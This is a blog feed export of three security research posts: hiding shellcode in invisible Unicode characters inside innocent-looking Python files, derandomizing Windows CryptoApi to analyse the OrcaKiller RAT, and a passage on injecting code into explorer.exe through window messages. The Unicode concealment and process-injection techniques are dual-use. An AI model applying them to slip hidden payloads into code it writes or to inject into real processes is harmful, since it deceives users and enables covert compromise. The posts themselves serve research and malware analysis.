tag:blogger.com,1999:blog-71749826662520048062024-03-14T06:13:02.182-07:00Vallejo.9090909090CCVallejo.9090909090CCvallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.comBlogger27125tag:blogger.com,1999:blog-7174982666252004806.post-68787991785204431122019-05-26T02:47:00.001-07:002019-05-26T08:47:24.854-07:00PoC: Encoding Shellcode Into Invisible Unicode CharactersMalware has been using unicode since time ago, to hide / obfuscate urls, filenames, scripts, etc... Right-to-left Override character (e2 80 ae) is a classic. In this post a PoC is shared, where a shellcode is hidden / encoded into a string in a python script (probably this would work with other languages too), with invisible unicode characers that will not be displayed by the most of the text editors.<br />
<br />
<a name='more'></a>The idea is quite simple. We will choose three "invisible" unicode characters:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjay3jrUrm4fG7AAQjpqFYXPUJo-f1X9C21BNaM5KUUbbTuZQ-XIZwBUItf8M7g5uty8YhqS5CC15J6pN6eb1EzBjpUgRrFRLmOfolE_Farz5W58cP_oQ-BX6Q9ooPffYfEp1AXIn7KcAA/s1600/invisible_unicode.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="82" data-original-width="657" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjay3jrUrm4fG7AAQjpqFYXPUJo-f1X9C21BNaM5KUUbbTuZQ-XIZwBUItf8M7g5uty8YhqS5CC15J6pN6eb1EzBjpUgRrFRLmOfolE_Farz5W58cP_oQ-BX6Q9ooPffYfEp1AXIn7KcAA/s1600/invisible_unicode.png" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
e2 80 8b : bit 0<br />
e2 80 8c : bit 1<br />
e2 80 8d : delimiter<br />
<br />
With this, and having a potentially malicious script, we can encode the malicious script, bit by bit, into these unicode characters:<br />
<br />
(delimiter e2 80 8d) .....encoded script (bit 0 to e2 80 8b, bit 1 to e2 80 8c)...... (delimiter e2 80 8d)<br />
<br />
I have used this simple script to encode the malicious script:<br />
<br />
<a href="https://github.com/vallejocc/PoC-Hide-Python-Malscript-UnicodeChars/blob/master/encode.py">https://github.com/vallejocc/PoC-Hide-Python-Malscript-UnicodeChars/blob/master/encode.py</a><br />
<br />
Now, we can embbed this encoded "invisible" unicode chars into a string. The following source code looks like a simple hello world:<br />
<br />
<a href="https://github.com/vallejocc/PoC-Hide-Python-Malscript-UnicodeChars/blob/master/helloworld.py">https://github.com/vallejocc/PoC-Hide-Python-Malscript-UnicodeChars/blob/master/helloworld.py</a><br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPzmbY7rO1ocFIA5Bg5TxCZ8Tmk2C0x1umnAXJQVGIy5Q8Ld3c3BgqK3Son9pNlZ8cTaMaRCZccFSzRNbWMMAmg4-QGVpfuKQTYEWe_dZWYjIlBsnehLhMiY3_oSsvQADG-jZp5gaPDLI/s1600/helloworld.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="89" data-original-width="235" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPzmbY7rO1ocFIA5Bg5TxCZ8Tmk2C0x1umnAXJQVGIy5Q8Ld3c3BgqK3Son9pNlZ8cTaMaRCZccFSzRNbWMMAmg4-QGVpfuKQTYEWe_dZWYjIlBsnehLhMiY3_oSsvQADG-jZp5gaPDLI/s1600/helloworld.png" /></a></div>
<br />
However, if you download and open the file with an hexadecimal editor you can see all that encoded information that is part of the hello world string:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1R4YhEPfrgzEjm1iUrSjeTDAS_ZHM2EL4MHUpnj3whAx1x91oCD9fikX99dMX3CIxS3fYhyphenhyphen0lcjt8oTCVvKJq0DkKHcGMo1nimIYpO8KD9cNpgOR90IMjuDFZ0d2N0fzB3zVpnShC18E/s1600/helloworld_hex.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="208" data-original-width="565" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1R4YhEPfrgzEjm1iUrSjeTDAS_ZHM2EL4MHUpnj3whAx1x91oCD9fikX99dMX3CIxS3fYhyphenhyphen0lcjt8oTCVvKJq0DkKHcGMo1nimIYpO8KD9cNpgOR90IMjuDFZ0d2N0fzB3zVpnShC18E/s1600/helloworld_hex.png" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Most of the text editors that I tested didn't display the unicode characters: Visual Studio, Geany, Sublime, Notepad, browsers, etc...<br />
<br />
The following script decodes and executes a secondary potentially malicious python script (the PoC script only executes calc) from invisible unicode characters:<br />
<br />
<a href="https://github.com/vallejocc/PoC-Hide-Python-Malscript-UnicodeChars/blob/master/malicious.py">https://github.com/vallejocc/PoC-Hide-Python-Malscript-UnicodeChars/blob/master/malicious.py</a><br />
<br />
And the following script decodes a x64 shellcode (the shellcode executes calc) from invisible unicode characters, then it loads the shellcode with VirtualAlloc+WriteProtectMemory, and calls CreateThread to execute it:<br />
<br />
<a href="https://github.com/vallejocc/PoC-Hide-Python-Malscript-UnicodeChars/blob/master/malicious2_x64_shellcode.py">https://github.com/vallejocc/PoC-Hide-Python-Malscript-UnicodeChars/blob/master/malicious2_x64_shellcode.py</a><br />
<br />
The previous scripts are quite obvious and suspicious, but if this encoded malicious script and these lines are mixed into a longer and more complicated source code, probably it would be harder to notice the script contains malicious code. So, careful when you download your favorite exploits! ;)<br />
<br />
I have not tested it, but probably this will work with other languanges. Visual Studio for example, doesn't show this characters into a C source code.<br />
<br />vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-61516675527833976472018-09-21T12:45:00.001-07:002018-09-25T14:39:45.734-07:00CryptoApi DerandomizationIn this post I dig a bit into the Windows's CryptoApi library, trying to locate the code that the library uses to fill buffers with random data when it needs to randomize something (i.e. paddings for plaintexts at RSA encryption, randomly generated AES keys, etc...). After locating the interesting functions, I wrote a PoC that I share in this post and that intercepts that functions to disable CryptoApi randomization to have deterministic ciphering results. Finally, I do a quick reversing on an OrcaKiller sample (it uses CryptoApi), disabling CryptoApi's randomization to make the analysis easy.<br />
<br />
<br />
<a name='more'></a><br />
<br />
Lets start debugging CryptoApi's CryptEncrypt when RSA encryption is performed, searching for the moment when the plaintext's padding is randomly generated. In this way we will try to find what functions are used to fill buffers with random data. I have done tests at two environments, a Win10 x64 machine, and a Win7 x86 machine. It's a bit different from a version to other. I don't know about other Windows versions, but I guess it will be quite similar to these environments.<br />
<br />
<h2>
</h2>
<h2>
</h2>
<h2>
<u>Analysis: RSA CryptEncrypt</u></h2>
<div>
<br />
CryptoApi RSA encryption interface is not very versatile when you want to configure how the plaintext's padding is going to be generated. According to the documentation, it should be possible to configure a flag "ZERO_PADDING" or a flag "RANDOM_PADDING", but they don't work, these flags are disabled. <b>Only the default PKCS5_PADDING works.</b><br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtKjcU6f-KL34fqzSEHynGlmIrysR_veUll-huzT_Zqo4IiZbWqJWWViFz8zHTmlPn7IYSMhWcj6lOqIh15hSeLdoGN3waBkzEMZxyV6d0r93aYf0ieYfYi0lCTQf45TvGuvAXfuTXm4s/s1600/rsa_set_padding_type.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="87" data-original-width="636" height="84" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtKjcU6f-KL34fqzSEHynGlmIrysR_veUll-huzT_Zqo4IiZbWqJWWViFz8zHTmlPn7IYSMhWcj6lOqIh15hSeLdoGN3waBkzEMZxyV6d0r93aYf0ieYfYi0lCTQf45TvGuvAXfuTXm4s/s640/rsa_set_padding_type.jpg" width="640" /></a></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Other cryptography libraries are much more flexible, for example pycryptodome lets you to configure easily a callback where you can set the padding that you want:</div>
<div style="text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzlmDCMooFUfRwz4teio4l1JNsvb9s05fDqb34UklflI1X3tVHxNyK-z0gu-0xqtzGP09VAfPJFpzJQRR6fyu7mYDhrn2jV7LS-481PDnkvBZUnm_qJZo6QBHKvaNEr5YcKT4Wy455Oug/s1600/python_set_randfunc.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="80" data-original-width="311" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzlmDCMooFUfRwz4teio4l1JNsvb9s05fDqb34UklflI1X3tVHxNyK-z0gu-0xqtzGP09VAfPJFpzJQRR6fyu7mYDhrn2jV7LS-481PDnkvBZUnm_qJZo6QBHKvaNEr5YcKT4Wy455Oug/s1600/python_set_randfunc.jpg" /></a></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<b>Microsoft is more restrictive</b> with this, and it seems <b>impossible </b>to use the api in a "legal" way that would let us to <b>choose the padding and obtain a deterministic ciphertext</b> (in spite of the fact that we use the same plaintext and the same key, the padding is being generated randomly).</div>
<div style="text-align: left;">
<br /></div>
<div>
Lets see a call <b>stack of CryptEncrypt until the moment when random padding is generated.</b></div>
<div>
<br /></div>
<h3>
Win7 x86 MS_ENHANCED_PROV+PROV_RSA_FULL CryptEncrypt</h3>
</div>
<div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDk5dVyoxZwXfvvL6AqSi5VRwG9NvAAx5PjoQa2XOk-oDmw46PJQSKbCrjHGMkFRCa1bjSEDGzU2PDjKO9rUGzK7h12eF5r8qr1jXhffQ3ppcChXctlXTrjCxiurrmWPldpgmU8lV445o/s1600/Win7_stack.jpg" imageanchor="1" style="display: inline !important; margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="101" data-original-width="244" height="132" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDk5dVyoxZwXfvvL6AqSi5VRwG9NvAAx5PjoQa2XOk-oDmw46PJQSKbCrjHGMkFRCa1bjSEDGzU2PDjKO9rUGzK7h12eF5r8qr1jXhffQ3ppcChXctlXTrjCxiurrmWPldpgmU8lV445o/s320/Win7_stack.jpg" width="320" /></a></div>
<div>
<br /></div>
<br />
<h3>
Win10 x64 MS_ENHANCED_PROV+PROV_RSA_FULL CryptEncrypt</h3>
</div>
<div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJa8tUFCmjRlHNTfSEA1LEFr5wlFADzCKuEmiPzD0khPv3mYW6T148Uw1VeNxLXYjUC81E6-HU1SB-cG4siKgP2s1oxukBmc0ADsqPig3UM0NNWPHDqnwNoppUOxsLhU-iWeyQUWtrjNM/s1600/Win10_stack.jpg" imageanchor="1" style="display: inline !important; margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="123" data-original-width="497" height="156" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJa8tUFCmjRlHNTfSEA1LEFr5wlFADzCKuEmiPzD0khPv3mYW6T148Uw1VeNxLXYjUC81E6-HU1SB-cG4siKgP2s1oxukBmc0ADsqPig3UM0NNWPHDqnwNoppUOxsLhU-iWeyQUWtrjNM/s640/Win10_stack.jpg" width="640" /></a></div>
<br />
As we can see, part of the code has been moved from rsaenh.dll to bcrypt.dll/bcryptprimitives.dll in newer versions.<br />
<br />
<h3>
Win10 SymCryptRsaPkcs1Encrypt+SymCryptPkcs1ApplyEncryptionPadding vs Win7 PKCS2Encrypt</h3>
</div>
<div>
<br />
At <b>Win10 x64</b>, the function that adds the padding is <b>SymCryptPkcs1ApplyEncryptionPadding</b>, it is called from SymCryptRsaPkcs1Encrypt:<br />
<br /></div>
<div>
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghrNsuJVce_KHlD-tjHWTyWSwxC-v_9ZaUI9M1JUPojZ66GEqRVug52Mejqnr2aerYDyT2MduB6TzFoU3hTZ01C20fJ82vprQunT_5mcYrU666RYAfasMFr_6Fgp9wvqtcFrM9qv_s7O8/s1600/SymCryptRsaPkcs1Encrypt.jpg" imageanchor="1" style="clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="715" data-original-width="749" height="608" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghrNsuJVce_KHlD-tjHWTyWSwxC-v_9ZaUI9M1JUPojZ66GEqRVug52Mejqnr2aerYDyT2MduB6TzFoU3hTZ01C20fJ82vprQunT_5mcYrU666RYAfasMFr_6Fgp9wvqtcFrM9qv_s7O8/s640/SymCryptRsaPkcs1Encrypt.jpg" width="640" /></a><br />
<br />
<br />
To fill buffers with random values, <b>SymCryptPkcs1ApplyEncryptionPadding uses a function named ProcessPrng</b> (it is easy to locate this function because it is <b>exported by bcryptprimitives.dll</b>). ProcessPrng is like this:<br />
<br />
<b>signed __int64 __fastcall ProcessPrng(void * buf, SIZE_T len);</b><br />
<br />
<br />
<img border="0" data-original-height="819" data-original-width="695" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKFewTQchiUIBj36eB96mJBEgWRZFTVcjSmylwka1njpgDGd3wUK3Ki4D6LweKLJhEUlA-rT22OKQctP11KwNhv-uWgXxwhDngfb9nhU1OrJDaVwoTnChR7sIFpPcNNXpX44Ja5jUZ5vA/s640/SymCryptRsaPkcs1ApplyEncryptionPadding.jpg" width="540" /><br />
<br />
At <b>Win7 x86</b> it is a bit different, as we can see in the call stack that previously I pasted all the involved code is located at rsaenh.dll, and the function that adds the padding to the plaintext is <b>PKCS2Encrypt</b>. This function calls other function, <b>FIPS186GenRandom</b>, and this one will fill a given buffer with random data. FIPS186GenRandom directly calls to <b>AesCtrWithFipsChecks</b>. AesCtrWithFipsChecks would be the <b>equivalent to Win10's ProcessPrng</b>.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzNZdN9aK1jcNdWWSEM1S6CwVAgCuxqfH4TuZLVeVwpt1blNUV9xM2XeNwOsVBXwGmOcKrkc9MHn7DENMrd_XkanCvMhRQZ_8l3OGBay_MZa_0fhZLkTmTfnjoTxmuRD-ztvg8ysasdbw/s1600/fips186genrandom.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="69" data-original-width="516" height="84" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzNZdN9aK1jcNdWWSEM1S6CwVAgCuxqfH4TuZLVeVwpt1blNUV9xM2XeNwOsVBXwGmOcKrkc9MHn7DENMrd_XkanCvMhRQZ_8l3OGBay_MZa_0fhZLkTmTfnjoTxmuRD-ztvg8ysasdbw/s640/fips186genrandom.jpg" width="640" /></a></div>
<br />
AesCtrWithFipsChecks is like this:<br />
<br />
<b>int __stdcall AesCtrWithFipsChecks(void *pbBuffer, int cbBuffer, int a, int b);</b><br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAXukNW_KZ5p73pp7Q3SWSGwhTqJtdtJnaqJxAONwboT-YsFv_hp8FgEZEd91UENLtd52u_gEb0Ft_KdtRXvhox6z1vnbQkjW0T2CmlharOJIRehdLiyxRo3BKJrDjeOqO_P8kIZDiZpI/s1600/pkcs2encrypt.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="483" data-original-width="582" height="529" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAXukNW_KZ5p73pp7Q3SWSGwhTqJtdtJnaqJxAONwboT-YsFv_hp8FgEZEd91UENLtd52u_gEb0Ft_KdtRXvhox6z1vnbQkjW0T2CmlharOJIRehdLiyxRo3BKJrDjeOqO_P8kIZDiZpI/s640/pkcs2encrypt.jpg" width="640" /></a></div>
<br />
<br />
<b>Locating FIPS186GenRandom or AesCtrWithFipsChecks is not easy because they are not exported</b> by a library.<br />
<br />
There are MS symbols for these functions, so you could use symbols to locate them (if you are interested in using Microsoft symbols API, I wrote this PoC where I used symbols API to find some chrome.dll code: <a href="https://github.com/vallejocc/PoC-Find-Chrome-kTLSProtocolMethod/blob/master/kTLSProtocolMethod_finder.c">https://github.com/vallejocc/PoC-Find-Chrome-kTLSProtocolMethod/blob/master/kTLSProtocolMethod_finder.c</a>).<br />
<br />
Or it would be possible to<b> find it by searching a pattern</b>. For example, rsaenh!CPGenRandom (an exported function easy to locate) uses AesCtrWithFipsChecks:<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgH3AJ7o4pj-CtTA-BByu0WDEuahsTXRHhWcrffnqTJGd1PkuupMXoCsADRGdIkGBeomGZqOCKQaGbn8-7eiRiDN0X7Lj4sEOk04twd0iXKWE7pTpmvaoz5fQF4lBUp5Vg3M2NRpns40V4/s1600/CPGenRandom.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="354" data-original-width="894" height="252" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgH3AJ7o4pj-CtTA-BByu0WDEuahsTXRHhWcrffnqTJGd1PkuupMXoCsADRGdIkGBeomGZqOCKQaGbn8-7eiRiDN0X7Lj4sEOk04twd0iXKWE7pTpmvaoz5fQF4lBUp5Vg3M2NRpns40V4/s640/CPGenRandom.jpg" width="640" /></a></div>
<br />
<br />
You can get easily a pointer to CPGenRandom (it is an export) and find the pointer to AesCtrWithFipsChecks from there:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgScYT2fLIxPLU_4n1ZL_zJ-TFa5eEIWNtteGL7wIlAM8qk_AZ58AKCKtVJkomod2GVxGDk7N76qNkaWwF9wUyLxZJBgkxy1DJO_ulLDXtc-fvFVRosVj1y8I3b3CfRt9Z4Am0KiIRodvY/s1600/SearchAesCtrWithFipsChecks.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="218" data-original-width="753" height="184" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgScYT2fLIxPLU_4n1ZL_zJ-TFa5eEIWNtteGL7wIlAM8qk_AZ58AKCKtVJkomod2GVxGDk7N76qNkaWwF9wUyLxZJBgkxy1DJO_ulLDXtc-fvFVRosVj1y8I3b3CfRt9Z4Am0KiIRodvY/s640/SearchAesCtrWithFipsChecks.jpg" width="640" /></a></div>
<br />
<br />
<b>If we hook ProcessPrng at Win10 x64, or AesCtrWithFipsChecks at Win7 x86, we can control the way that CryptoApi fills random buffers </b>(paddings, randomly generated AES keys, etc...).<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ26_GptnAPt749NigKuPGLHRKOrhMqNIqwjR9Nxavtpy90dVa2CkaVssQ1biiIa7ZKOUxFdJ_G-bz4JzBXiG4BYMEQiwGKns1yOyICbyFGL0FVs8mwyHlY5L4GEFmY2m3z13mZRHs9mY/s1600/rnd_hooks.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="627" data-original-width="889" height="450" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ26_GptnAPt749NigKuPGLHRKOrhMqNIqwjR9Nxavtpy90dVa2CkaVssQ1biiIa7ZKOUxFdJ_G-bz4JzBXiG4BYMEQiwGKns1yOyICbyFGL0FVs8mwyHlY5L4GEFmY2m3z13mZRHs9mY/s640/rnd_hooks.jpg" width="640" /></a></div>
<br />
<br />
<h2>
<u>
PoC: Derandomize CryptoApi</u></h2>
<br />
I coded a simple PoC where a plaintext is encrypted with a randomly generated AES key and a RSA public key. In this PoC, ProcessPrng and AesCtrWithFipsChecks are hooked, and in the hook we are filling the input buffer with constant values (\x01\x01....). Doing this, the generated AES key is always the same, and the RSA padding too. <b>The resulting ciphertext for each stage (after AES encryption and after RSA encryption) is deterministic</b>, for a same plaintext and keys, the ciphertext is always the same:<br />
<br />
<br />
<a href="https://github.com/vallejocc/PoC-CryptoAPI-Derandomization/blob/master/rsa_aes_encrypt.cpp">https://github.com/vallejocc/PoC-CryptoAPI-Derandomization/blob/master/rsa_aes_encrypt.cpp</a><br />
<br />
<h2>
<u>
Analysis: Derandomize CryptoApi to analyze OrcaKiller RAT</u></h2>
</div>
<div>
<br /></div>
<div>
Lets analyze an OrcaKiller RAT old sample (2014) by using CryptoApi derandomization that I have explained in this post.</div>
<div>
<br /></div>
<div>
Here you can read a bit about this simple RAT, OrcaKiller:<br />
<br />
<a href="http://pwc.blogs.com/cyber_security_updates/2014/10/orcarat-a-whale-of-a-tale.html">http://pwc.blogs.com/cyber_security_updates/2014/10/orcarat-a-whale-of-a-tale.html</a></div>
<div>
<br /></div>
<div>
To encrypt data,<b> this RAT uses rc4. The rc4key is calculated in this way:</b></div>
<div>
<b><br /></b></div>
<div>
<b>rc4key = md5(<6 random bytes> + "OrcaKiller")</b></div>
<div>
<br /></div>
<div>
After rc4, it applies <b>base64</b>.</div>
<div>
<br /></div>
<div>
The malware uses CryptoApi (md5 is calculated with <b>CryptHashData</b>, rc4 with <b>CALG_RC4 + CryptEncrypt</b>, etc...). Lets suppose it generates that 6 random bytes to calculate the rc4key with <b>CryptGenRandom</b>. So we assume <b>if we derandomize CryptoApi, it will use the same rc4key always</b> (we will know this key because we will force it).<b> </b>Instead of debugging, we can directly<b> intercept AesCtrWithFipsChecks to derandomize the rc4key, </b>and then, we<b> capture network traffic with Wireshark, </b>and <b>we should be able to decrypt all the CnC queries</b> that we captured because we know the rc4key that we have forced.</div>
<div>
<br /></div>
<div>
I use <b>WinDbg</b>, I coded a tiny <b>script </b>for a conditional breakpoint that will <b>cause that AesCtrWithFipsChecks will fill the input buffer with "\x01\x01\x01..."</b> instead of filling with random data (it should be easy to do something similar for immunitydebugger or other debuggers):</div>
<div>
<br /></div>
<div>
bp /p <target_proc> AesCtrWithFipsChecks "</div>
<div>
<div>
r $t0 = poi (esp+4); //pointer to buffer to fill</div>
<div>
r $t1 = poi (esp+8); //length of buffer to fill</div>
<div>
.while(@$t1>0)</div>
<div>
{</div>
<div>
eb $t0 1; //fill curpos with \x01</div>
<div>
r $t1 = @$t1 - 1;</div>
<div>
r $t0 = @$t0 + 1;</div>
<div>
};</div>
<div>
r eip = poi(esp); //dont execute the original AesCtrWithFipsChecks code, return</div>
<div>
r esp = esp+14; //remove retaddr and params</div>
<div>
r eax = 0; //return 0</div>
<div>
g;" //continue</div>
</div>
<div>
<br /></div>
<div>
Here it is without crlf / comments: </div>
<div>
<br /></div>
<div>
bp /p 84abf528 AesCtrWithFipsChecks "r $t0 = poi (esp+4);r $t1 = poi (esp+8);.while(@$t1>0){eb $t0 1;r $t1 = @$t1 - 1;r $t0 = @$t0 + 1;};r eip = poi(esp);r esp = esp+14;r eax = 0;g;"</div>
<div>
<br /></div>
<div>
We let the malware to continue the execution while we capture network traffic:</div>
<div>
<br /></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFNC3p7RxqjxrbofsTkaVPF3AczAIeXZY4iw20TbqdCaWH8ZDJwiKt5JSVzfwmxKudMlJR_v55jMUct1Nvq8jlRu1uep8LsZ8KsOgSnfUtVUMsR3FdFqfQSHTdBob2AIK8OiVGN8xcV68/s1600/orcakiller_pcap_1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="416" data-original-width="728" height="365" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFNC3p7RxqjxrbofsTkaVPF3AczAIeXZY4iw20TbqdCaWH8ZDJwiKt5JSVzfwmxKudMlJR_v55jMUct1Nvq8jlRu1uep8LsZ8KsOgSnfUtVUMsR3FdFqfQSHTdBob2AIK8OiVGN8xcV68/s640/orcakiller_pcap_1.jpg" width="640" /></a></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div>
<br /></div>
<div>
We can see that, <b>after derandomizing CryptoApi, the encrypted queries are identical</b> (it is the same plaintext, and we have forced the same rc4key). This is the query encrypted with the constant rc4key that we forced = md5("\x01\x01\x01\x01\x01\x01OrcaKiller"):</div>
<div>
<br /></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirvSysjzWDDxgC8wO7peQLwXo2eRjT8dt5sqbe8H1i7fk4Q8vUi-EOoAXqknbx3db1w1sF8tU0jSojHvX8gbF4YAaKBXiBlX7NPIRMFKjV9w9ovvKLrh1R_gyuU5UtGGMjdiuARrG1gZY/s1600/orcakiller_pcap.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="180" data-original-width="487" height="235" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirvSysjzWDDxgC8wO7peQLwXo2eRjT8dt5sqbe8H1i7fk4Q8vUi-EOoAXqknbx3db1w1sF8tU0jSojHvX8gbF4YAaKBXiBlX7NPIRMFKjV9w9ovvKLrh1R_gyuU5UtGGMjdiuARrG1gZY/s640/orcakiller_pcap.jpg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
We try to decrypt some encrypted parts of this query with a python script, and we can see that we are able to decrypt them with the rc4key that we have forced:</div>
<div>
<br /></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTEdz-564oxZFaxuTcwxM8gnAJrnv59EedACzprHrj3N2iAlet1BD_k1lH1JPF_sbiiFwDbuEjmw8woFVDrCoSlEeiLORpbD_EuLBf-JjKL7Y9QAtRraXjSuy4HXEZGNnRmTxdK8Rnw5Q/s1600/PYTHONDEC.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="500" data-original-width="785" height="406" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTEdz-564oxZFaxuTcwxM8gnAJrnv59EedACzprHrj3N2iAlet1BD_k1lH1JPF_sbiiFwDbuEjmw8woFVDrCoSlEeiLORpbD_EuLBf-JjKL7Y9QAtRraXjSuy4HXEZGNnRmTxdK8Rnw5Q/s640/PYTHONDEC.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Really, this <b>OrcaKiller RAT is easy to analyze</b>, it is not necesary to do all of this to reverse it, probably it would have been faster to set some right breakpoints at some apis and log arguments. But<b> it was perfect to use it as simple example to understand how derandomizing CryptoApi could help, for example, to decrypt data captured</b> with Wireshark, or data from files that were written by the malware, etc... </div>
<div>
<br /></div>
<div>
<br /></div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-60613370870552834152018-04-29T15:28:00.000-07:002018-05-04T09:52:58.092-07:00PoC: Copy Data into Remote Process Address Space with Window MessagesThis post is the story of an unuseful fuzzer that became an unuseful but funny PoC. These days I have been playing with window messages and I would like to share some notes about the behavior of some messages, such as WM_SETTEXT or WM_COPYDATA, and a tiny PoC to execute code into explorer.exe process by using these messages and SetThreadContext. This is not about a bug or vulnerability, these window messages work as expected. It is only some ideas about using these messages in a tricky way to put our data into the address space of some target processes.<br />
<a name='more'></a><br />
<br />
<div>
I started writting a tiny fuzzer to enumerate all the windows in the system and send random messages with random data to them. Nothing happy and fun happened with my fuzzer, like a crash in some application, etc… I noticed my fuzzer was totally unuseful but, before burying it forever, I decided to add an additional code to search the strings/data sent with these window messages through all of the memory regions of all the processes running in the machine.<br />
<br />
I found the data that I was sending with the messages, it stayed in the address space of some processes. It is not a surprise. For example, If you set the text of a window with WM_SETTEXT, probably the thread associated with the window could be storing that text in some buffer, keeping it for more or less time, etc… Probably something similar to this could be happening with other APIs, not only window messages.<br />
<br />
WM_COPYDATA message is more interesting. We can send binary data and this data could be stored in the address space of some processes.<br />
<br />
I did some test in a windows 10 x64 machine. After sending WM_SETTEXT and WM_COPYDATA to all windows owned by explorer.exe, the string sent with WM_SETTEXT appeared in the address space of explorer.exe (in wide char), and the binary data sent with WM_COPYDATA appeared there too.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
